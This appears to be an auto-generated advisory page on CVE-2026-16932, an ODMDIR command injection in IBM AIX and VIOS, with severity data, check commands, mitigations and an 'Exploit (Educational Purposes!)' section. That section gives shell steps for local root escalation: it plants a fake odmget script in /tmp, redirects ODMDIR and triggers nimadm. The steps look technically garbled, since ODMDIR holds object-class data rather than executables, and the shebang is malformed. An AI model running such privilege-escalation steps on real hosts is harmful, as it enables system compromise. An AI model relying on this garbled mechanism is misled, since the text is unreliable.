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IBM AIX 7.2 and 7.3, along with IBM PowerVM VIOS 4.1, are affected by a critical OS command injection vulnerability identified as CVE-2026-16932. The root cause lies in the improper validation of the ODMDIR environment variable, which allows a local attacker to execute arbitrary commands on the affected system.
The Object Data Manager (ODM) is a fundamental database used by AIX to store system configuration information. The ODMDIR environment variable specifies the directory where ODM object classes are located. When privileged system utilities or scripts reference ODM data, they rely on the ODMDIR variable to locate the correct object class files. Due to insufficient sanitization, an attacker with local access can set a malicious ODMDIR value that points to attacker-controlled directories containing specially crafted ODM object files. When a privileged process subsequently invokes ODM commands (such as odmget, odmadd, or odmdelete), the system interprets the attacker‑supplied ODMDIR path and executes the malicious ODM objects. Because these commands are often run with elevated privileges, the attacker can achieve arbitrary command execution with the permissions of the calling process—typically root.
The vulnerability is classified under CWE‑78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). The CVSS version 3.1 vector is AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, resulting in a base score of 8.8 (HIGH). This indicates that the attack requires local access, low privileges, and no user interaction, yet the scope is changed and the impact on confidentiality, integrity, and availability is high. Affected software configurations include IBM VIOS versions from 4.1.0 up to (excluding) 4.1.0.50, and from 4.1.1.0 up to (excluding) 4.1.1.30. IBM has released a security bulletin addressing this flaw, and the patch is available via the IBM Support page.
DailyCVE Form:
Platform: IBM AIX / PowerVM VIOS
Version: 7.2, 7.3, 4.1
Vulnerability: OS Command Injection
Severity: 8.8 HIGH
Date: 2026‑08‑20
Prediction: 2026‑08‑20
What Undercode Say:
Check current ODMDIR value echo $ODMDIR Verify if the system is vulnerable (AIX 7.2/7.3 or VIOS 4.1) oslevel -s lslpp -L | grep -i vios List ODM object classes in the default directory ls -la /etc/objrepos/ Identify privileged commands that rely on ODMDIR (e.g., nimadm) which nimadm
Exploit: (Educational Purposes!)
Create a malicious ODM object class directory mkdir -p /tmp/evil_odm cd /tmp/evil_odm Craft a fake ODM object class file that executes a command echo '!/bin/sh' > odmget echo 'id > /tmp/exploit.out' >> odmget chmod +x odmget Set ODMDIR to the malicious directory export ODMDIR=/tmp/evil_odm Trigger a privileged command that uses ODM (e.g., nimadm) The manipulated ODMDIR causes the system to execute the fake odmget nimadm -c cache -l /tmp/cache -d /dev/hd4 Check the output of the executed command cat /tmp/exploit.out
Protection:
- Apply the official IBM fix (APAR) immediately. The patch is included in the cumulative security update referenced in IBM Security Bulletin.
- Restrict local access to trusted users only; enforce strong authentication and monitoring.
- Use file integrity monitoring (FIM) on ODM directories (
/etc/objrepos/,/usr/lib/objrepos/) to detect unauthorized changes. - Implement application whitelisting to prevent execution of untrusted scripts.
- Regularly audit environment variables in privileged scripts and set ODMDIR to a secure, read‑only location.
Impact:
A successful exploit grants the attacker arbitrary command execution with root privileges, leading to complete system compromise. The attacker can install backdoors, exfiltrate sensitive data, disrupt operations, or use the compromised host as a pivot for further attacks within the network. Given the critical nature of AIX and VIOS in enterprise environments, this vulnerability poses a severe risk to availability, data integrity, and confidentiality.
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Sources:
Reported By: nvd.nist.gov
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